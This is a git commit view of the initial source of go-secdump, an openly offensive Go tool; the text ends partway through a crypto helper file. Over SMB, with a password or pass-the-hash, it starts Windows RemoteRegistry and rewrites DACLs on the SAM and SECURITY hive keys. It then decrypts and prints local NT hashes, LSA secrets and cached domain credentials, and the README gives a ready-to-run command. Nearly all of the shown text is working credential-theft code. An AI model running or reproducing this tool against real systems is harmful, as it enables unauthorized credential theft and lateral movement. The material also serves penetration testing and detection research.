mirror of
https://github.com/jfjallid/go-secdump
synced 2026-06-06 15:54:30 +00:00
Initial commit
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2023 Jimmy Fjällid
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,7 @@
|
||||
all:
|
||||
GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o go-secdump
|
||||
GOOS=windows GOARCH=386 go build -ldflags "-s -w" -o go-secdump.exe .
|
||||
|
||||
clean:
|
||||
rm -f go-secdump
|
||||
rm -f go-secdump.exe
|
||||
@@ -0,0 +1,66 @@
|
||||
# go-secdump
|
||||
|
||||
## Description
|
||||
Package go-secdump is a tool built to remotely extract hashes from the SAM
|
||||
registry hive as well as LSA secrets and cached hashes from the SECURITY hive
|
||||
without any remote agent and without touching disk.
|
||||
|
||||
The tool is built on top of the library https://github.com/jfjallid/go-smb
|
||||
and use it to communicate with the Windows Remote Registry to retrieve registry
|
||||
keys directly from memory.
|
||||
|
||||
It was built as a learning experience and as a proof of concept that it should
|
||||
be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA
|
||||
secrets as well as domain cached credentials without having to first save the
|
||||
registry hives to disk and then parse them locally.
|
||||
|
||||
The main problem to overcome was that the SAM and SECURITY hives are only
|
||||
readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group
|
||||
administrators had the WriteDACL permission on the registry hives and could
|
||||
thus be used to temporarily grant read access to itself to retrieve the
|
||||
secrets and then restore the original permissions.
|
||||
|
||||
## Credits
|
||||
Much of the code in this project is inspired/taken from Impacket's secdump
|
||||
but converted to access the Windows registry remotely and to only access the
|
||||
required registry keys.
|
||||
|
||||
Some of the other sources that have been useful to understanding the registry
|
||||
structure and encryption methods are listed below:
|
||||
|
||||
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
|
||||
|
||||
http://www.beginningtoseethelight.org/ntsecurity/index.htm
|
||||
|
||||
https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral
|
||||
|
||||
## Usage
|
||||
```
|
||||
Usage of ./go-secdump:
|
||||
-d string
|
||||
domain
|
||||
-debug
|
||||
enable debugging
|
||||
-hash string
|
||||
hex encoded NT Hash for user
|
||||
-host string
|
||||
host
|
||||
-noenc
|
||||
disable smb encryption
|
||||
-pass string
|
||||
password
|
||||
-port int
|
||||
SMB Port (default 445)
|
||||
-smb2
|
||||
Force smb 2.1
|
||||
-user string
|
||||
username
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
Dump registry secrets
|
||||
|
||||
```
|
||||
./go-secdump --host DESKTOP-AIG0C1D2 -user Administrator -pass adminPass123
|
||||
```
|
||||
@@ -0,0 +1,9 @@
|
||||
module github.com/jfjallid/go-secdump
|
||||
|
||||
go 1.19
|
||||
|
||||
require (
|
||||
github.com/jfjallid/go-smb v0.1.1
|
||||
github.com/jfjallid/golog v0.3.1
|
||||
golang.org/x/crypto v0.6.0
|
||||
)
|
||||
@@ -0,0 +1,6 @@
|
||||
github.com/jfjallid/go-smb v0.1.1 h1:QiTKOWwpkyqS4I+fMZd4Ex0m41vSWyLd65JR9kkXi7o=
|
||||
github.com/jfjallid/go-smb v0.1.1/go.mod h1:Kew0ysf3f+GtnBzpU7jiZmZ4ohp4ZHE7z2PMnXXG7IM=
|
||||
github.com/jfjallid/golog v0.3.1 h1:o+gCUDClhOzcxpboLlbQeP/E/TfMlr6lQFvOD8JC5BY=
|
||||
github.com/jfjallid/golog v0.3.1/go.mod h1:19Q/zg5OgPPd0xhFllokPnMzthzhFPZmiAGAokE7k58=
|
||||
golang.org/x/crypto v0.6.0 h1:qfktjS5LUO+fFKeJXZ+ikTRijMmljikvG68fpMMruSc=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
@@ -0,0 +1,464 @@
|
||||
// MIT License
|
||||
//
|
||||
// # Copyright (c) 2023 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/dcerpc"
|
||||
"github.com/jfjallid/go-smb/smb/dcerpc/msrrp"
|
||||
"github.com/jfjallid/golog"
|
||||
)
|
||||
|
||||
var log = golog.Get("")
|
||||
|
||||
func startRemoteRegistry(session *smb.Connection, share string) (err error) {
|
||||
f, err := session.OpenFile(share, "svcctl")
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
defer f.CloseFile()
|
||||
|
||||
bind, err := dcerpc.Bind(f, dcerpc.MSRPCUuidSvcCtl, dcerpc.MSRPCSvcCtlMajorVersion, dcerpc.MSRPCSvcCtlMinorVersion, dcerpc.MSRPCUuidNdr)
|
||||
if err != nil {
|
||||
log.Errorln("Failed to bind to service")
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
|
||||
serviceName := "RemoteRegistry"
|
||||
|
||||
status, err := bind.GetServiceStatus(serviceName)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
if status != dcerpc.ServiceRunning {
|
||||
err = bind.StartService(serviceName)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
// Wait for pipe to be created
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func changeDacl(rpccon *msrrp.RPCCon, base []byte, keys []string, sid string, m map[string]*msrrp.SecurityDescriptor) (map[string]*msrrp.SecurityDescriptor, error) {
|
||||
if m == nil {
|
||||
m = make(map[string]*msrrp.SecurityDescriptor)
|
||||
}
|
||||
|
||||
for _, subkey := range keys {
|
||||
hSubKey, err := rpccon.OpenSubKey(base, subkey)
|
||||
if err != nil {
|
||||
if err == msrrp.ReturnCodeMap[msrrp.ErrorFileNotFound] {
|
||||
// Skip keys that do not exist
|
||||
continue
|
||||
}
|
||||
log.Errorln(err)
|
||||
return nil, err
|
||||
}
|
||||
//Retrieving security settings
|
||||
sd, err := rpccon.GetKeySecurity(hSubKey)
|
||||
if err != nil {
|
||||
rpccon.CloseKeyHandle(hSubKey)
|
||||
log.Errorln(err)
|
||||
return nil, err
|
||||
}
|
||||
// Check if key exists before adding to map.
|
||||
// Don't want to replace an existing key in case I change the ACL twice
|
||||
if _, ok := m[subkey]; !ok {
|
||||
m[subkey] = sd
|
||||
}
|
||||
|
||||
mask := msrrp.PermWriteDacl | msrrp.PermReadControl | msrrp.PermKeyEnumerateSubKeys | msrrp.PermKeyQueryValue
|
||||
ace, err := msrrp.NewAce(sid, mask, msrrp.AccessAllowedAceType, msrrp.ContainerInheritAce)
|
||||
if err != nil {
|
||||
rpccon.CloseKeyHandle(hSubKey)
|
||||
delete(m, subkey)
|
||||
log.Errorln(err)
|
||||
return nil, err
|
||||
}
|
||||
// NOTE Can't set owner, group or SACL, since I only have WriteDacl on SAM\SAM
|
||||
newSd, err := msrrp.NewSecurityDescriptor(sd.Control, nil, nil, msrrp.NewACL(append([]msrrp.ACE{*ace}, sd.Dacl.ACLS...)), nil)
|
||||
|
||||
err = rpccon.SetKeySecurity(hSubKey, newSd)
|
||||
if err != nil {
|
||||
rpccon.CloseKeyHandle(hSubKey)
|
||||
delete(m, subkey)
|
||||
log.Errorln(err)
|
||||
return nil, err
|
||||
}
|
||||
rpccon.CloseKeyHandle(hSubKey)
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func revertDacl(rpccon *msrrp.RPCCon, base []byte, keys []string, m map[string]*msrrp.SecurityDescriptor) error {
|
||||
var sd *msrrp.SecurityDescriptor
|
||||
var ok bool
|
||||
for _, subkey := range keys {
|
||||
if sd, ok = m[subkey]; !ok {
|
||||
// Key did not exist so was not added to map
|
||||
continue
|
||||
}
|
||||
hSubKey, err := rpccon.OpenSubKey(base, subkey)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
continue // Try to change as many keys as possible
|
||||
}
|
||||
sd.Control &^= msrrp.SecurityDescriptorFlagSP
|
||||
sd.OffsetSacl = 0
|
||||
sd.OwnerSid = nil
|
||||
sd.GroupSid = nil
|
||||
sd.OffsetOwner = 0
|
||||
sd.OffsetGroup = 0
|
||||
|
||||
err = rpccon.SetKeySecurity(hSubKey, sd)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
rpccon.CloseKeyHandle(hSubKey)
|
||||
continue
|
||||
}
|
||||
rpccon.CloseKeyHandle(hSubKey)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func tryRollbackChanges(rpccon *msrrp.RPCCon, hKey []byte, keys []string, m map[string]*msrrp.SecurityDescriptor) error {
|
||||
log.Noticeln("Attempting to restore security descriptors")
|
||||
// Rollback changes in reverse order
|
||||
for i, j := 0, len(keys)-1; i < j; i, j = i+1, j-1 {
|
||||
keys[i], keys[j] = keys[j], keys[i]
|
||||
}
|
||||
err := revertDacl(rpccon, hKey, keys, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
host := flag.String("host", "", "host")
|
||||
username := flag.String("user", "", "username")
|
||||
password := flag.String("pass", "", "password")
|
||||
hash := flag.String("hash", "", "hex encoded NT Hash for user")
|
||||
domain := flag.String("d", "", "domain")
|
||||
port := flag.Int("port", 445, "SMB Port")
|
||||
debug := flag.Bool("debug", false, "enable debugging")
|
||||
noEnc := flag.Bool("noenc", false, "disable smb encryption")
|
||||
forceSMB2 := flag.Bool("smb2", false, "Force smb 2.1")
|
||||
|
||||
//log.Set("github.com/jfjallid/go-smb/smb", log.LevelError, log.LstdFlags|log.Lshortfile, log.DefaultOutput)
|
||||
//log.Set("github.com/jfjallid/go-smb/smb/dcerpc", log.LevelDebug, log.LstdFlags|log.Lshortfile, log.DefaultOutput)
|
||||
//log.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", log.LevelDebug, log.LstdFlags|log.Lshortfile, log.DefaultOutput)
|
||||
//log.SetFlags(golog.LstdFlags | golog.Lshortfile)
|
||||
share := ""
|
||||
var hashBytes []byte
|
||||
var err error
|
||||
|
||||
flag.Parse()
|
||||
if *host == "" {
|
||||
log.Errorln("Must specify a hostname")
|
||||
return
|
||||
}
|
||||
|
||||
if *hash != "" {
|
||||
hashBytes, err = hex.DecodeString(*hash)
|
||||
if err != nil {
|
||||
fmt.Println("Failed to decode hash")
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if (*password == "") && (hashBytes == nil) {
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
fmt.Printf("Enter password: ")
|
||||
pass, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
pass = strings.TrimSuffix(pass, "\n") // Remove Linux newline
|
||||
pass = strings.TrimSuffix(pass, "\r") // Remove Windows Carriage Return
|
||||
*password = pass
|
||||
}
|
||||
|
||||
options := smb.Options{
|
||||
Host: *host,
|
||||
Port: *port,
|
||||
Initiator: &smb.NTLMInitiator{
|
||||
User: *username,
|
||||
Password: *password,
|
||||
Hash: hashBytes,
|
||||
Domain: *domain,
|
||||
Workstation: "",
|
||||
},
|
||||
DisableEncryption: *noEnc,
|
||||
ForceSMB2: *forceSMB2,
|
||||
}
|
||||
|
||||
session, err := smb.NewConnection(options, *debug)
|
||||
if err != nil {
|
||||
log.Criticalln(err)
|
||||
return
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
if session.IsSigningRequired {
|
||||
log.Noticeln("[-] Signing is required")
|
||||
} else {
|
||||
log.Noticeln("[+] Signing is NOT required")
|
||||
}
|
||||
|
||||
if session.IsAuthenticated {
|
||||
log.Noticeln("[+] Login successful")
|
||||
} else {
|
||||
log.Noticeln("[-] Login failed")
|
||||
}
|
||||
|
||||
// Connect to IPC$ share
|
||||
share = "IPC$"
|
||||
err = session.TreeConnect(share)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
defer session.TreeDisconnect(share)
|
||||
|
||||
// Check if RemoteRegistry is running, and if not, enable it
|
||||
err = startRemoteRegistry(session, share)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
|
||||
// Open connection to Windows Remote Registry pipe
|
||||
f, err := session.OpenFile(share, msrrp.MSRRPPipe)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
defer f.CloseFile()
|
||||
|
||||
// Bind to Windows Remote Registry service
|
||||
bind, err := dcerpc.Bind(f, msrrp.MSRRPUuid, msrrp.MSRRPMajorVersion, msrrp.MSRRPMinorVersion, msrrp.NDRUuid)
|
||||
if err != nil {
|
||||
log.Errorln("Failed to bind to service")
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
|
||||
// RPCCon is a wrapper for an RPC Bind that implements the Remote Registry functions
|
||||
rpccon := msrrp.NewRPCCon(bind)
|
||||
|
||||
hKey, err := rpccon.OpenBaseKey(msrrp.HKEYLocalMachine)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
defer rpccon.CloseKeyHandle(hKey)
|
||||
|
||||
// Most of the registry keys needed for extracting secrets from the registry.
|
||||
// The local group "administrators" has WriteDACL on HKLM:\\SAM\SAM so that
|
||||
// SID is used for the temporary increase in privileges.
|
||||
// Note that this list is extended with dynamically discovered SIDs for
|
||||
// local users.
|
||||
sid := "S-1-5-32-544"
|
||||
keys := []string{
|
||||
`SAM\SAM`,
|
||||
`SAM\SAM\Domains`,
|
||||
`SAM\SAM\Domains\Account`,
|
||||
`SAM\SAM\Domains\Account\Users`,
|
||||
`SECURITY\Policy\Secrets`,
|
||||
`SECURITY\Policy\Secrets\NL$KM`,
|
||||
`SECURITY\Policy\Secrets\NL$KM\CurrVal`,
|
||||
`SECURITY\Cache`,
|
||||
`SECURITY\Policy\PolEKList`,
|
||||
`SECURITY\Policy\PolSecretEncryptionKey`,
|
||||
}
|
||||
|
||||
// Grant temporarily higher permissions to the local administrators group
|
||||
m, err := changeDacl(rpccon, hKey, keys, sid, nil)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
|
||||
// Get RIDs of local users
|
||||
keyUsers := `SAM\SAM\Domains\Account\Users`
|
||||
rids, err := rpccon.GetSubKeyNames(hKey, keyUsers)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
err = tryRollbackChanges(rpccon, hKey, keys, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
rids = rids[:len(rids)-1]
|
||||
for i := range rids {
|
||||
rids[i] = fmt.Sprintf("%s\\%s", keyUsers, rids[i])
|
||||
}
|
||||
|
||||
// Extend the list of keys that have temporarily altered permissions
|
||||
keys = append(keys, rids...)
|
||||
// Grant temporarily higher permissions to the local administrators group
|
||||
m, err = changeDacl(rpccon, hKey, rids, sid, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
err = tryRollbackChanges(rpccon, hKey, keys, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
syskey, err := getSysKey(rpccon, hKey)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
err = tryRollbackChanges(rpccon, hKey, keys, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Gather credentials/secrets
|
||||
creds, err := getNTHash(rpccon, hKey, rids)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
// Try to get other secrets instead of hard fail
|
||||
} else {
|
||||
for _, cred := range creds {
|
||||
fmt.Printf("Name: %s\n", cred.Username)
|
||||
fmt.Printf("RID: %d\n", cred.RID)
|
||||
if len(cred.Data) == 0 {
|
||||
fmt.Printf("NT: <empty>\n\n")
|
||||
continue
|
||||
}
|
||||
var hash []byte
|
||||
if cred.AES {
|
||||
hash, err = DecryptAESHash(cred.Data, cred.IV, syskey, cred.RID)
|
||||
} else {
|
||||
hash, err = DecryptRC4Hash(cred.Data, syskey, cred.RID)
|
||||
}
|
||||
fmt.Printf("NT: %x\n\n", hash)
|
||||
}
|
||||
}
|
||||
|
||||
// Get names of lsa secrets
|
||||
keySecrets := `SECURITY\Policy\Secrets`
|
||||
secrets, err := rpccon.GetSubKeyNames(hKey, keySecrets)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
err = tryRollbackChanges(rpccon, hKey, keys, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
newSecrets := make([]string, 0, len(secrets)*2)
|
||||
for i := range secrets {
|
||||
newSecrets = append(newSecrets, fmt.Sprintf("%s\\%s", keySecrets, secrets[i]))
|
||||
newSecrets = append(newSecrets, fmt.Sprintf("%s\\%s\\%s", keySecrets, secrets[i], "CurrVal"))
|
||||
}
|
||||
|
||||
keys = append(keys, newSecrets...)
|
||||
m, err = changeDacl(rpccon, hKey, newSecrets, sid, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
err = tryRollbackChanges(rpccon, hKey, keys, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
lsaSecrets, err := GetLSASecrets(rpccon, hKey, false)
|
||||
if err != nil {
|
||||
log.Noticeln("Failed to get lsa secrets")
|
||||
log.Errorln(err)
|
||||
err = tryRollbackChanges(rpccon, hKey, keys, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
if len(lsaSecrets) > 0 {
|
||||
fmt.Println("[*] LSA Secrets:")
|
||||
for _, secret := range lsaSecrets {
|
||||
fmt.Println(secret.secretType)
|
||||
for _, item := range secret.secrets {
|
||||
fmt.Println(item)
|
||||
}
|
||||
if secret.extraSecret != "" {
|
||||
fmt.Println(secret.extraSecret)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cachedHashes, err := GetCachedHashes(rpccon, hKey)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
err = tryRollbackChanges(rpccon, hKey, keys, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if len(cachedHashes) > 0 {
|
||||
fmt.Println("[*] Dumping cached domain logon information (domain/username:hash)")
|
||||
for _, secret := range cachedHashes {
|
||||
fmt.Println(secret)
|
||||
}
|
||||
}
|
||||
|
||||
//Revert changes
|
||||
err = tryRollbackChanges(rpccon, hKey, keys, m)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println("Done")
|
||||
}
|
||||
@@ -0,0 +1,268 @@
|
||||
// MIT License
|
||||
//
|
||||
// # Copyright (c) 2023 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/des"
|
||||
"crypto/md5"
|
||||
"crypto/rc4"
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"math/bits"
|
||||
)
|
||||
|
||||
const (
|
||||
WIN_UNKNOWN = iota
|
||||
WINXP
|
||||
WIN7
|
||||
WIN8
|
||||
WIN81
|
||||
WIN10
|
||||
)
|
||||
|
||||
func GetOSVersion(build int, version float64) (os byte, err error) {
|
||||
|
||||
if (build >= 7000) && (build < 7999) {
|
||||
log.Debugf("Windows 7\n")
|
||||
os = WIN7
|
||||
} else if (build >= 9000) && (build < 9999) {
|
||||
if version < 6.3 {
|
||||
log.Debugf("Windows 8\n")
|
||||
os = WIN8
|
||||
} else {
|
||||
//log.Debugf("Windows 8.1\n")
|
||||
os = WIN81
|
||||
}
|
||||
} else if (build >= 10000) && (build < 18363) {
|
||||
log.Debugf("Windows 10\n")
|
||||
os = WIN10
|
||||
} else {
|
||||
if (version < 5.2) && (version > 5.0) {
|
||||
os = WINXP
|
||||
log.Debugf("Windows XP?\n")
|
||||
} else {
|
||||
os = WIN_UNKNOWN
|
||||
log.Debugf("Unknown OS\n")
|
||||
}
|
||||
}
|
||||
log.Debugf("OS Version: %d\n", os)
|
||||
return
|
||||
}
|
||||
|
||||
func GetOsVersionName(build int, version float64, inErr error) string {
|
||||
if inErr != nil {
|
||||
log.Errorln(inErr)
|
||||
return "Unknown OS"
|
||||
}
|
||||
os, err := GetOSVersion(build, version)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return "Unknown OS"
|
||||
}
|
||||
result := "Unknown OS"
|
||||
switch os {
|
||||
case WIN_UNKNOWN:
|
||||
break
|
||||
case WINXP:
|
||||
result = "Windows XP"
|
||||
case WIN7:
|
||||
result = "Windows 7"
|
||||
case WIN8:
|
||||
result = "Windows 8"
|
||||
case WIN81:
|
||||
result = "Windows 8.1"
|
||||
case WIN10:
|
||||
result = "Windows 10"
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func IsWin10After1607(build int, version float64, inErr error) (value bool, err error) {
|
||||
if inErr != nil {
|
||||
return false, inErr
|
||||
}
|
||||
if build >= 14393 {
|
||||
value = true
|
||||
} else {
|
||||
value = false
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func IsBetweenWinXPWin10(build int, version float64, inErr error) (value bool, err error) {
|
||||
if inErr != nil {
|
||||
return false, inErr
|
||||
}
|
||||
os, err := GetOSVersion(build, version)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if (WINXP <= os) && (os <= WIN10) {
|
||||
value = true
|
||||
} else {
|
||||
value = false
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func SHA256(key, value []byte, rounds int) []byte {
|
||||
if rounds == 0 {
|
||||
rounds = 1000
|
||||
}
|
||||
h := sha256.New()
|
||||
h.Write(key)
|
||||
for i := 0; i < 1000; i++ {
|
||||
h.Write(value)
|
||||
}
|
||||
return h.Sum(nil)
|
||||
}
|
||||
|
||||
func DecryptAES(key, ciphertext, iv []byte) (plaintext []byte, err error) {
|
||||
nullIV := true
|
||||
var mode cipher.BlockMode
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
log.Errorln(err)
|
||||
return
|
||||
}
|
||||
if iv != nil {
|
||||
mode = cipher.NewCBCDecrypter(block, iv)
|
||||
nullIV = false
|
||||
} else {
|
||||
iv = make([]byte, 16)
|
||||
}
|
||||
ciphertextLen := len(ciphertext)
|
||||
var cipherBuffer []byte
|
||||
for i := 0; i < ciphertextLen; i += 16 {
|
||||
if nullIV {
|
||||
mode = cipher.NewCBCDecrypter(block, iv)
|
||||
}
|
||||
// Need to calculate 16 bytes block every time and padd with 0 if not enough bytes left
|
||||
dataLeft := len(ciphertext[i:])
|
||||
if dataLeft < 16 {
|
||||
padding := 16 - dataLeft
|
||||
cipherBuffer = ciphertext[i : i+dataLeft]
|
||||
paddBuffer := make([]byte, padding)
|
||||
cipherBuffer = append(cipherBuffer, paddBuffer...)
|
||||
} else {
|
||||
cipherBuffer = ciphertext[i : i+16]
|
||||
}
|
||||
// Decryption in-place
|
||||
mode.CryptBlocks(cipherBuffer, cipherBuffer)
|
||||
plaintext = append(plaintext, cipherBuffer...)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Wellknown function to convert 56bit to 64bit des key
|
||||
// final step is to check parity and add the parity bit as the right most bit
|
||||
// Not sure what the first part of this function does.
|
||||
func plusOddParity(input []byte) []byte {
|
||||
output := make([]byte, 8)
|
||||
output[0] = input[0] >> 0x01
|
||||
output[1] = ((input[0] & 0x01) << 6) | (input[1] >> 2)
|
||||
output[2] = ((input[1] & 0x03) << 5) | (input[2] >> 3)
|
||||
output[3] = ((input[2] & 0x07) << 4) | (input[3] >> 4)
|
||||
output[4] = ((input[3] & 0x0f) << 3) | (input[4] >> 5)
|
||||
output[5] = ((input[4] & 0x1f) << 2) | (input[5] >> 6)
|
||||
output[6] = ((input[5] & 0x3f) << 1) | (input[6] >> 7)
|
||||
output[7] = input[6] & 0x7f
|
||||
for i := 0; i < 8; i++ {
|
||||
if (bits.OnesCount(uint(output[i])) % 2) == 0 {
|
||||
output[i] = (output[i] << 1) | 0x1
|
||||
} else {
|
||||
output[i] = (output[i] << 1) & 0xfe
|
||||
}
|
||||
}
|
||||
return output
|
||||
}
|
||||
|
||||
func decryptNTHash(encHash, ridBytes []byte) (hash []byte, err error) {
|
||||
nt1 := make([]byte, 8)
|
||||
nt2 := make([]byte, 8)
|
||||
desSrc1 := make([]byte, 7)
|
||||
desSrc2 := make([]byte, 7)
|
||||
shift1 := []int{0, 1, 2, 3, 0, 1, 2}
|
||||
shift2 := []int{3, 0, 1, 2, 3, 0, 1}
|
||||
for i := 0; i < 7; i++ {
|
||||
desSrc1[i] = ridBytes[shift1[i]]
|
||||
desSrc2[i] = ridBytes[shift2[i]]
|
||||
}
|
||||
deskey1 := plusOddParity(desSrc1)
|
||||
deskey2 := plusOddParity(desSrc2)
|
||||
dc1, err := des.NewCipher(deskey1)
|
||||
if err != nil {
|
||||
log.Errorf("Failed to initialize first DES cipher with error: %v\n", err)
|
||||
return
|
||||
}
|
||||
dc2, err := des.NewCipher(deskey2)
|
||||
if err != nil {
|
||||
log.Errorf("Failed to initialize second DES cipher with error: %v\n", err)
|
||||
return
|
||||
}
|
||||
dc1.Decrypt(nt1, encHash[:8])
|
||||
dc2.Decrypt(nt2, encHash[8:])
|
||||
hash = append(hash, nt1...)
|
||||
hash = append(hash, nt2...)
|
||||
return
|
||||
}
|
||||
|
||||
func DecryptRC4Hash(doubleEncHash, syskey []byte, rid uint32) (ntHash []byte, err error) {
|
||||
ridBytes := make([]byte, 4)
|
||||
encHash := make([]byte, 16)
|
||||
